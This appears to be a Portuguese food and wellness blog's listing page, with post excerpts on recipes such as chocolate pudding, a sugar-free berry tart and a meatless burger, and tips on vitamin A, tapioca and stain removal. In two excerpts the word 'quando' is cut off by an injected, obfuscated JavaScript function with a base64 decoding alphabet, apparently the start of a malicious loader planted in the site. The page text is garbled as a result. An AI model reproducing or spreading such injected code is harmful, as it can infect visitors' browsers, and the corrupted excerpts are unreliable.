Receita de pudim de chocolate com nozes e avelãs

Abr 30, 2017 | Receitas

Receita de pudim de chocolate com nozes e avelãs     Em dias de festa ou para qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Salada fresca e saudável + espetadas de fruta com chocolate negro

Abr 29, 2017 | Receitas

Salada fresca e saudável + espetadas de fruta com chocolate negro   O calor está aí e, com ele, a preocupação em ver os números da balança descer. Por isso hoje trago-lhe duas receitas: salada e sobremesa ligeiras sem culpa, sem gordura e sem açúcar. Duas receitas...

Dicas saudáveis -10 Benefícios da vitamina A

Abr 27, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis -10 Benefícios da vitamina A     Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...

Tarte de frutos vermelhos – Uma sobremesa sem açúcar

Abr 26, 2017 | Receitas

Tarte de frutos vermelhos – Uma sobremesa sem açúcar   Hoje trago-lhe uma receita de tarte de frutos vermelhos que poderá comer sem culpa. O melhor desta receita é que não tem açúcares refinados. Se é verdade que a um docinho de vez em qufunction...

7 benefícios da granola + receita pequeno-almoço completo

Abr 25, 2017 | Dicas úteis, Faça você mesmo, Receitas

7 benefícios da granola + receita pequeno-almoço completo     Cada vez recebo mais mensagens a pedir boas receitas de pequenos-almoços, pelo que hoje vou falar-lhe acerca dos benefícios da granola. Antes de mais, sabe o que é a granola? É uma mistura deliciosa de...

5 soluções para tirar nódoas difíceis da roupa

Abr 25, 2017 | Dicas úteis

5 soluções para tirar nódoas difíceis da roupa   De certeza que já lhe aconteceu estar vestido com a sua roupa preferida e, por descuido ou má sorte, esta acabar manchada com uma nódoa, duas ou três. Não desespere. Desde aja com rapidez poderá resolva o problema. Vou...

6 soluções caseiras para uma pele mais bonita

Abr 23, 2017 | Dicas úteis

6 soluções caseiras para uma pele mais bonita     Uma pele sem vermelhidões, bem hidratada e com elasticidade é o desejo de muitos homens e mulheres. No entanto, nem sempre é fácil alcançar essa meta tão desejada devido ao efeito do tempo, à exposição ao sol e às...

7 benefícios da tapioca para a nossa saúde

Abr 14, 2017 | Dicas úteis, Saúde e bem estar

7 benefícios da tapioca para a nossa saúde   Hoje vou falar-lhe de um alimento originário do Brasil e que já tem vindo a conquistar cada vez mais fãs por todo mundo. Já conhece a tapioca? Os benefícios são impressionantes. Saiba tudo aqui. A tapioca é a fécula...

Receita de bolo húmido de chocolate branco

Abr 14, 2017 | Receitas

Receita de bolo húmido de chocolate branco   Depois das receitas do bolo húmido de limão e coco, do bolo húmido de cacau e do pão de ló húmido de chocolate trago-lhe mais uma receita deliciosa de um bolo húmido. A Páscoa está à porta e poderá fazer esta tentação para...

Hambúrguer saudável sem carne

Abr 13, 2017 | Receitas

Hambúrguer saudável sem carne   Para os dias em que não quer ou não pode comer carne, trago-lhe esta receita de hambúrguer saudável sem glúten e sem carne com cogumelos. Experimente nesta Páscoa e, se gostar, repita quantas vezes entender. Não é uma maravilha poder...